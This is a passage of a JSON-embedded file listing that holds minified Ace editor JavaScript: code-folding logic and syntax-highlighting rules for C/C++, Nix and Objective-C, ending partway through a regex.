r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/c_cpp\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/c_cpp_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./c_cpp_highlight_rules\").c_cppHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/c_cpp\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/nix_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"true|false\",t=\"with|import|if|else|then|inherit\",n=\"let|in|rec\",r=this.createKeywordMapper({\"constant.language.nix\":e,\"keyword.control.nix\":t,\"keyword.declaration.nix\":n},\"identifier\");this.$rules={start:[{token:\"comment\",regex:/#.*$/},{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"constant\",regex:\"<[^>]+>\"},{regex:\"(==|!=|<=?|>=?)\",token:[\"keyword.operator.comparison.nix\"]},{regex:\"((?:[+*/%-]|\\\\~)=)\",token:[\"keyword.operator.assignment.arithmetic.nix\"]},{regex:\"=\",token:\"keyword.operator.assignment.nix\"},{token:\"string\",regex:\"''\",next:\"qqdoc\"},{token:\"string\",regex:\"'\",next:\"qstring\"},{token:\"string\",regex:'\"',push:\"qqstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{regex:\"}\",token:function(e,t,n){return n[1]&&n[1].charAt(0)==\"q\"?\"constant.language.escape\":\"text\"},next:\"pop\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],qqdoc:[{token:\"constant.language.escape\",regex:/\\$\\{/,push:\"start\"},{token:\"string\",regex:\"''\",next:\"pop\"},{defaultToken:\"string\"}],qqstring:[{token:\"constant.language.escape\",regex:/\\$\\{/,push:\"start\"},{token:\"string\",regex:'\"',next:\"pop\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:/\\$\\{/,push:\"start\"},{token:\"string\",regex:\"'\",next:\"pop\"},{defaultToken:\"string\"}]},this.normalizeRules()};r.inherits(s,i),t.NixHighlightRules=s}),ace.define(\"ace/mode/nix\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/c_cpp\",\"ace/mode/nix_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./c_cpp\").Mode,s=e(\"./nix_highlight_rules\").NixHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){i.call(this),this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"#\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/nix\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-objectivec.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/c_cpp_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.cFunctions=\"\\\\b(?:hypot(?:f|l)?|s(?:scanf|ystem|nprintf|ca(?:nf|lb(?:n(?:f|l)?|ln(?:f|l)?))|i(?:n(?:h(?:f|l)?|f|l)?|gn(?:al|bit))|tr(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?)|error|pbrk|ftime|len|rchr|xfrm)|printf|et(?:jmp|vbuf|locale|buf)|qrt(?:f|l)?|w(?:scanf|printf)|rand)|n(?:e(?:arbyint(?:f|l)?|xt(?:toward(?:f|l)?|after(?:f|l)?))|an(?:f|l)?)|c(?:s(?:in(?:h(?:f|l)?|f|l)?|qrt(?:f|l)?)|cos(?:h(?:f)?|f|l)?|imag(?:f|l)?|t(?:ime|an(?:h(?:f|l)?|f|l)?)|o(?:s(?:h(?:f|l)?|f|l)?|nj(?:f|l)?|pysign(?:f|l)?)|p(?:ow(?:f|l)?|roj(?:f|l)?)|e(?:il(?:f|l)?|xp(?:f|l)?)|l(?:o(?:ck|g(?:f|l)?)|earerr)|a(?:sin(?:h(?:f|l)?|f|l)?|cos(?:h(?:f|l)?|f|l)?|tan(?:h(?:f|l)?|f|l)?|lloc|rg(?:f|l)?|bs(?:f|l)?)|real(?:f|l)?|brt(?:f|l)?)|t(?:ime|o(?:upper|lower)|an(?:h(?:f|l)?|f|l)?|runc(?:f|l)?|gamma(?:f|l)?|mp(?:nam|file))|i(?:s(?:space|n(?:ormal|an)|cntrl|inf|digit|u(?:nordered|pper)|p(?:unct|rint)|finite|w(?:space|c(?:ntrl|type)|digit|upper|p(?:unct|rint)|lower|al(?:num|pha)|graph|xdigit|blank)|l(?:ower|ess(?:equal|greater)?)|al(?:num|pha)|gr(?:eater(?:equal)?|aph)|xdigit|blank)|logb(?:f|l)?|max(?:div|abs))|di(?:v|fftime)|_Exit|unget(?:c|wc)|p(?:ow(?:f|l)?|ut(?:s|c(?:har)?|wc(?:har)?)|error|rintf)|e(?:rf(?:c(?:f|l)?|f|l)?|x(?:it|p(?:2(?:f|l)?|f|l|m1(?:f|l)?)?))|v(?:s(?:scanf|nprintf|canf|printf|w(?:scanf|printf))|printf|f(?:scanf|printf|w(?:scanf|printf))|w(?:scanf|printf)|a_(?:start|copy|end|arg))|qsort|f(?:s(?:canf|e(?:tpos|ek))|close|tell|open|dim(?:f|l)?|p(?:classify|ut(?:s|c|w(?:s|c))|rintf)|e(?:holdexcept|set(?:e(?:nv|xceptflag)|round)|clearexcept|testexcept|of|updateenv|r(?:aiseexcept|ror)|get(?:e(?:nv|xceptflag)|round))|flush|w(?:scanf|ide|printf|rite)|loor(?:f|l)?|abs(?:f|l)?|get(?:s|c|pos|w(?:s|c))|re(?:open|e|ad|xp(?:f|l)?)|m(?:in(?:f|l)?|od(?:f|l)?|a(?:f|l|x(?:f|l)?)?))|l(?:d(?:iv|exp(?:f|l)?)|o(?:ngjmp|cal(?:time|econv)|g(?:1(?:p(?:f|l)?|0(?:f|l)?)|2(?:f|l)?|f|l|b(?:f|l)?)?)|abs|l(?:div|abs|r(?:int(?:f|l)?|ound(?:f|l)?))|r(?:int(?:f|l)?|ound(?:f|l)?)|gamma(?:f|l)?)|w(?:scanf|c(?:s(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?|mbs)|pbrk|ftime|len|r(?:chr|tombs)|xfrm)|to(?:b|mb)|rtomb)|printf|mem(?:set|c(?:hr|py|mp)|move))|a(?:s(?:sert|ctime|in(?:h(?:f|l)?|f|l)?)|cos(?:h(?:f|l)?|f|l)?|t(?:o(?:i|f|l(?:l)?)|exit|an(?:h(?:f|l)?|2(?:f|l)?|f|l)?)|b(?:s|ort))|g(?:et(?:s|c(?:har)?|env|wc(?:har)?)|mtime)|r(?:int(?:f|l)?|ound(?:f|l)?|e(?:name|alloc|wind|m(?:ove|quo(?:f|l)?|ainder(?:f|l)?))|a(?:nd|ise))|b(?:search|towc)|m(?:odf(?:f|l)?|em(?:set|c(?:hr|py|mp)|move)|ktime|alloc|b(?:s(?:init|towcs|rtowcs)|towc|len|r(?:towc|len))))\\\\b\",u=function(){var e=\"break|case|continue|default|do|else|for|goto|if|_Pragma|return|switch|while|catch|operator|try|throw|using\",t=\"asm|__asm__|auto|bool|_Bool|char|_Complex|double|enum|float|_Imaginary|int|long|short|signed|struct|typedef|union|unsigned|void|class|wchar_t|template|char16_t|char32_t\",n=\"const|extern|register|restrict|static|volatile|inline|private|protected|public|friend|explicit|virtual|export|mutable|typename|constexpr|new|delete|alignas|alignof|decltype|noexcept|thread_local\",r=\"and|and_eq|bitand|bitor|compl|not|not_eq|or|or_eq|typeid|xor|xor_eqconst_cast|dynamic_cast|reinterpret_cast|static_cast|sizeof|namespace\",s=\"NULL|true|false|TRUE|FALSE|nullptr\",u=this.$keywords=this.createKeywordMapper({\"keyword.control\":e,\"storage.type\":t,\"storage.modifier\":n,\"keyword.operator\":r,\"variable.language\":\"this\",\"constant.language\":s},\"identifier\"),a=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Zd\\\\$_\\u00a1-\\uffff]*\\\\b\";this.$rules={start:[{token:\"comment\",regex:\"//$\",next:\"start\"},{token:\"comment\",regex:\"//\",next:\"singleLineComment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"keyword\",regex:\"#\\\\s*(?:include|import|pragma|line|define|undef)\\\\b\",next:\"directive\"},{token:\"keyword\",regex:\"#\\\\s*(?:endif|if|ifdef|else|elif|ifndef)\\\\b\"},{token:\"support.function.C99.c\",regex:o},{token:u,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|==|=|!=|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|new|delete|typeof|void)\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],singleLineComment:[{token:\"comment\",regex:/\\\\$/,next:\"singleLineComment\"},{token:\"comment\",regex:/$/,next:\"start\"},{defaultToken:\"comment\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{defaultToken:\"string\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{defaultToken:\"string\"}],directive:[{token:\"constant.other.multiline\",regex:/\\\\/},{token:\"constant.other.multiline\",regex:/.*\\\\/},{token:\"constant.other\",regex:\"\\\\s*<.+?>\",next:\"start\"},{token:\"constant.other\",regex:'\\\\s*[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]',next:\"start\"},{token:\"constant.other\",regex:\"\\\\s*['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\",next:\"start\"},{token:\"constant.other\",regex:/[^\\\\\\/]+/,next:\"start\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(u,s),t.c_cppHighlightRules=u}),ace.define(\"ace/mode/objectivec_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/c_cpp_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./c_cpp_highlight_rules\"),o=s.c_cppHighlightRules,u=function(){var e=\"\\\\\\\\(?:[abefnrtv'\\\"?\\\\\\\\]|[0-3]\\\\d{1,2}|[4-7]\\\\d?|222|x[a-zA-Z0-9]+)\",t=[{regex:\"\\\\b_cmd\\\\b\",token:\"variable.other.selector.objc\"},{regex:\"\\\\b(?:self|super)\\\\b\",token:\"variable.language.objc\"}],n=new o,r=n.getRules();this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:[\"storage.type.objc\",\"punctuation.definition.storage.type.objc\",\"entity.name.type.objc\",\"text\",\"entity.other.inherited-class.objc\"],regex:\"(@)(interface|protocol)(?!.+;)(\\\\s+[A-Za-z_][A-Za-z0-9_]*)(\\\\s*:\\\\s*)([A-Za-z]+)\"},{token:[\"storage.type.objc\"],regex:\"(@end)\"},{token:[\"storage.type.objc\",\"entity.name.type.objc\",\"entity.other.inherited-class.objc\"],regex:\"(@implementation)(\\\\s+[A-Za-z_][A-Za-z0-9_]*)(\\\\s*?::\\\\s*(?:[A-Za-z][A-Za-z0-9]*))?\"},{token:\"string.begin.objc\",regex:'@\"',next:\"constant_NSString\"},{token:\"storage.type.objc\",regex:\"\\\\bid\\\\s*<\",next:\"protocol_list\"},{token:\"keyword.control.macro.objc\",regex:\"\\\\bNS_DURING|NS_HANDLER|NS_ENDHANDLER\\\\b\"},{token:[\"punctuation.definition.keyword.objc\",\"keyword.control.exception.objc\"],regex:\"(@)(try|catch|finally|throw)\\\\b\"},{token:[\"punctuation.definition.keyword.objc\",\"keyword.other.objc\"],regex:\"(@)(defs|encode)\\\\b\"},{token:[\"storage.type.id.objc\",\"text\"],regex:\"(\\\\bid\\\\b)(\\\\s|\\\\n)?\"},{token:\"storage.type.objc\",regex:\"\\\\bIBOutlet|IBAction|BOOL|SEL|id|unichar|IMP|Class\\\\b\"},{token:[\"punctuation.definition.storage.type.objc\",\"storage.type.objc\"],regex:\"(@)(class|protocol)\\\\b\"},{token:[\"punctuation.definition.storage.type.objc\",\"punctuation\"],regex:\"(@selector)(\\\\s*\\\\()\",next:\"selectors\"},{token:[\"punctuation.definition.storage.modifier.objc\",\"storage.modifier.objc\"],regex:\"(@)(synchronized|public|private|protected|package)\\\\b\"},{token:\"constant.language.objc\",regex:\"\\\\bYES|NO|Nil|nil\\\\b\"},{token:\"support.variable.foundation\",regex:\"\\\\bNSApp\\\\b\"},{token:[\"support.function.cocoa.leopard\"],regex:\"(?:\\\\b)(NS(?:Rect(?:ToCGRect|FromCGRect)|MakeCollectable|S(?:tringFromProtocol|ize(?:ToCGSize|FromCGSize))|Draw(?:NinePartImage|ThreePartImage)|P(?:oint(?:ToCGPoint|FromCGPoint)|rotocolFromString)|EventMaskFromType|Value))(?:\\\\b)\"},{token:[\"support.function.cocoa\"],regex:\"(?:\\\\b)(NS(?:R(?:ound(?:DownToMultipleOfPageSize|UpToMultipleOfPageSize)|un(?:CriticalAlertPanel(?:RelativeToWindow)?|InformationalAlertPanel(?:RelativeToWindow)?|AlertPanel(?:RelativeToWindow)?)|e(?:set(?:MapTable|HashTable)|c(?:ycleZone|t(?:Clip(?:List)?|F(?:ill(?:UsingOperation|List(?:UsingOperation|With(?:Grays|Colors(?:UsingOperation)?))?)?|romString))|ordAllocationEvent)|turnAddress|leaseAlertPanel|a(?:dPixel|l(?:MemoryAvailable|locateCollectable))|gisterServicesProvider)|angeFromString)|Get(?:SizeAndAlignment|CriticalAlertPanel|InformationalAlertPanel|UncaughtExceptionHandler|FileType(?:s)?|WindowServerMemory|AlertPanel)|M(?:i(?:n(?:X|Y)|d(?:X|Y))|ouseInRect|a(?:p(?:Remove|Get|Member|Insert(?:IfAbsent|KnownAbsent)?)|ke(?:R(?:ect|ange)|Size|Point)|x(?:Range|X|Y)))|B(?:itsPer(?:SampleFromDepth|PixelFromDepth)|e(?:stDepth|ep|gin(?:CriticalAlertSheet|InformationalAlertSheet|AlertSheet)))|S(?:ho(?:uldRetainWithZone|w(?:sServicesMenuItem|AnimationEffect))|tringFrom(?:R(?:ect|ange)|MapTable|S(?:ize|elector)|HashTable|Class|Point)|izeFromString|e(?:t(?:ShowsServicesMenuItem|ZoneName|UncaughtExceptionHandler|FocusRingStyle)|lectorFromString|archPathForDirectoriesInDomains)|wap(?:Big(?:ShortToHost|IntToHost|DoubleToHost|FloatToHost|Long(?:ToHost|LongToHost))|Short|Host(?:ShortTo(?:Big|Little)|IntTo(?:Big|Little)|DoubleTo(?:Big|Little)|FloatTo(?:Big|Little)|Long(?:To(?:Big|Little)|LongTo(?:Big|Little)))|Int|Double|Float|L(?:ittle(?:ShortToHost|IntToHost|DoubleToHost|FloatToHost|Long(?:ToHost|LongToHost))|ong(?:Long)?)))|H(?:ighlightRect|o(?:stByteOrder|meDirectory(?:ForUser)?)|eight|ash(?:Remove|Get|Insert(?:IfAbsent|KnownAbsent)?)|FSType(?:CodeFromFileType|OfFile))|N(?:umberOfColorComponents|ext(?:MapEnumeratorPair|HashEnumeratorItem))|C(?:o(?:n(?:tainsRect|vert(?:GlyphsToPackedGlyphs|Swapped(?:DoubleToHost|FloatToHost)|Host(?:DoubleToSwapped|FloatToSwapped)))|unt(?:MapTable|HashTable|Frames|Windows(?:ForContext)?)|py(?:M(?:emoryPages|apTableWithZone)|Bits|HashTableWithZone|Object)|lorSpaceFromDepth|mpare(?:MapTables|HashTables))|lassFromString|reate(?:MapTable(?:WithZone)?|HashTable(?:WithZone)?|Zone|File(?:namePboardType|ContentsPboardType)))|TemporaryDirectory|I(?:s(?:ControllerMarker|EmptyRect|FreedObject)|n(?:setRect|crementExtraRefCount|te(?:r(?:sect(?:sRect|ionR(?:ect|ange))|faceStyleForKey)|gralRect)))|Zone(?:Realloc|Malloc|Name|Calloc|Fr(?:omPointer|ee))|O(?:penStepRootDirectory|ffsetRect)|D(?:i(?:sableScreenUpdates|videRect)|ottedFrameRect|e(?:c(?:imal(?:Round|Multiply|S(?:tring|ubtract)|Normalize|Co(?:py|mpa(?:ct|re))|IsNotANumber|Divide|Power|Add)|rementExtraRefCountWasZero)|faultMallocZone|allocate(?:MemoryPages|Object))|raw(?:Gr(?:oove|ayBezel)|B(?:itmap|utton)|ColorTiledRects|TiledRects|DarkBezel|W(?:hiteBezel|indowBackground)|LightBezel))|U(?:serName|n(?:ionR(?:ect|ange)|registerServicesProvider)|pdateDynamicServices)|Java(?:Bundle(?:Setup|Cleanup)|Setup(?:VirtualMachine)?|Needs(?:ToLoadClasses|VirtualMachine)|ClassesF(?:orBundle|romPath)|ObjectNamedInPath|ProvidesClasses)|P(?:oint(?:InRect|FromString)|erformService|lanarFromDepth|ageSize)|E(?:n(?:d(?:MapTableEnumeration|HashTableEnumeration)|umerate(?:MapTable|HashTable)|ableScreenUpdates)|qual(?:R(?:ects|anges)|Sizes|Points)|raseRect|xtraRefCount)|F(?:ileTypeForHFSTypeCode|ullUserName|r(?:ee(?:MapTable|HashTable)|ame(?:Rect(?:WithWidth(?:UsingOperation)?)?|Address)))|Wi(?:ndowList(?:ForContext)?|dth)|Lo(?:cationInRange|g(?:v|PageSize)?)|A(?:ccessibility(?:R(?:oleDescription(?:ForUIElement)?|aiseBadArgumentException)|Unignored(?:Children(?:ForOnlyChild)?|Descendant|Ancestor)|PostNotification|ActionDescription)|pplication(?:Main|Load)|vailableWindowDepths|ll(?:MapTable(?:Values|Keys)|HashTableObjects|ocate(?:MemoryPages|Collectable|Object)))))(?:\\\\b)\"},{token:[\"support.class.cocoa.leopard\"],regex:\"(?:\\\\b)(NS(?:RuleEditor|G(?:arbageCollector|radient)|MapTable|HashTable|Co(?:ndition|llectionView(?:Item)?)|T(?:oolbarItemGroup|extInputClient|r(?:eeNode|ackingArea))|InvocationOperation|Operation(?:Queue)?|D(?:ictionaryController|ockTile)|P(?:ointer(?:Functions|Array)|athC(?:o(?:ntrol(?:Delegate)?|mponentCell)|ell(?:Delegate)?)|r(?:intPanelAccessorizing|edicateEditor(?:RowTemplate)?))|ViewController|FastEnumeration|Animat(?:ionContext|ablePropertyContainer)))(?:\\\\b)\"},{token:[\"support.class.cocoa\"],regex:\"(?:\\\\b)(NS(?:R(?:u(?:nLoop|ler(?:Marker|View))|e(?:sponder|cursiveLock|lativeSpecifier)|an(?:domSpecifier|geSpecifier))|G(?:etCommand|lyph(?:Generator|Storage|Info)|raphicsContext)|XML(?:Node|D(?:ocument|TD(?:Node)?)|Parser|Element)|M(?:iddleSpecifier|ov(?:ie(?:View)?|eCommand)|utable(?:S(?:tring|et)|C(?:haracterSet|opying)|IndexSet|D(?:ictionary|ata)|URLRequest|ParagraphStyle|A(?:ttributedString|rray))|e(?:ssagePort(?:NameServer)?|nu(?:Item(?:Cell)?|View)?|t(?:hodSignature|adata(?:Item|Query(?:ResultGroup|AttributeValueTuple)?)))|a(?:ch(?:BootstrapServer|Port)|trix))|B(?:itmapImageRep|ox|u(?:ndle|tton(?:Cell)?)|ezierPath|rowser(?:Cell)?)|S(?:hadow|c(?:anner|r(?:ipt(?:SuiteRegistry|C(?:o(?:ercionHandler|mmand(?:Description)?)|lassDescription)|ObjectSpecifier|ExecutionContext|WhoseTest)|oll(?:er|View)|een))|t(?:epper(?:Cell)?|atus(?:Bar|Item)|r(?:ing|eam))|imple(?:HorizontalTypesetter|CString)|o(?:cketPort(?:NameServer)?|und|rtDescriptor)|p(?:e(?:cifierTest|ech(?:Recognizer|Synthesizer)|ll(?:Server|Checker))|litView)|e(?:cureTextField(?:Cell)?|t(?:Command)?|archField(?:Cell)?|rializer|gmentedC(?:ontrol|ell))|lider(?:Cell)?|avePanel)|H(?:ost|TTP(?:Cookie(?:Storage)?|URLResponse)|elpManager)|N(?:ib(?:Con(?:nector|trolConnector)|OutletConnector)?|otification(?:Center|Queue)?|u(?:ll|mber(?:Formatter)?)|etService(?:Browser)?|ameSpecifier)|C(?:ha(?:ngeSpelling|racterSet)|o(?:n(?:stantString|nection|trol(?:ler)?|ditionLock)|d(?:ing|er)|unt(?:Command|edSet)|pying|lor(?:Space|P(?:ick(?:ing(?:Custom|Default)|er)|anel)|Well|List)?|m(?:p(?:oundPredicate|arisonPredicate)|boBox(?:Cell)?))|u(?:stomImageRep|rsor)|IImageRep|ell|l(?:ipView|o(?:seCommand|neCommand)|assDescription)|a(?:ched(?:ImageRep|URLResponse)|lendar(?:Date)?)|reateCommand)|T(?:hread|ypesetter|ime(?:Zone|r)|o(?:olbar(?:Item(?:Validations)?)?|kenField(?:Cell)?)|ext(?:Block|Storage|Container|Tab(?:le(?:Block)?)?|Input|View|Field(?:Cell)?|List|Attachment(?:Cell)?)?|a(?:sk|b(?:le(?:Header(?:Cell|View)|Column|View)|View(?:Item)?))|reeController)|I(?:n(?:dex(?:S(?:pecifier|et)|Path)|put(?:Manager|S(?:tream|erv(?:iceProvider|er(?:MouseTracker)?)))|vocation)|gnoreMisspelledWords|mage(?:Rep|Cell|View)?)|O(?:ut(?:putStream|lineView)|pen(?:GL(?:Context|Pixel(?:Buffer|Format)|View)|Panel)|bj(?:CTypeSerializationCallBack|ect(?:Controller)?))|D(?:i(?:st(?:antObject(?:Request)?|ributed(?:NotificationCenter|Lock))|ctionary|rectoryEnumerator)|ocument(?:Controller)?|e(?:serializer|cimalNumber(?:Behaviors|Handler)?|leteCommand)|at(?:e(?:Components|Picker(?:Cell)?|Formatter)?|a)|ra(?:wer|ggingInfo))|U(?:ser(?:InterfaceValidations|Defaults(?:Controller)?)|RL(?:Re(?:sponse|quest)|Handle(?:Client)?|C(?:onnection|ache|redential(?:Storage)?)|Download(?:Delegate)?|Prot(?:ocol(?:Client)?|ectionSpace)|AuthenticationChallenge(?:Sender)?)?|n(?:iqueIDSpecifier|doManager|archiver))|P(?:ipe|o(?:sitionalSpecifier|pUpButton(?:Cell)?|rt(?:Message|NameServer|Coder)?)|ICTImageRep|ersistentDocument|DFImageRep|a(?:steboard|nel|ragraphStyle|geLayout)|r(?:int(?:Info|er|Operation|Panel)|o(?:cessInfo|tocolChecker|perty(?:Specifier|ListSerialization)|gressIndicator|xy)|edicate))|E(?:numerator|vent|PSImageRep|rror|x(?:ception|istsCommand|pression))|V(?:iew(?:Animation)?|al(?:idated(?:ToobarItem|UserInterfaceItem)|ue(?:Transformer)?))|Keyed(?:Unarchiver|Archiver)|Qui(?:ckDrawView|tCommand)|F(?:ile(?:Manager|Handle|Wrapper)|o(?:nt(?:Manager|Descriptor|Panel)?|rm(?:Cell|atter)))|W(?:hoseSpecifier|indow(?:Controller)?|orkspace)|L(?:o(?:c(?:k(?:ing)?|ale)|gicalTest)|evelIndicator(?:Cell)?|ayoutManager)|A(?:ssertionHandler|nimation|ctionC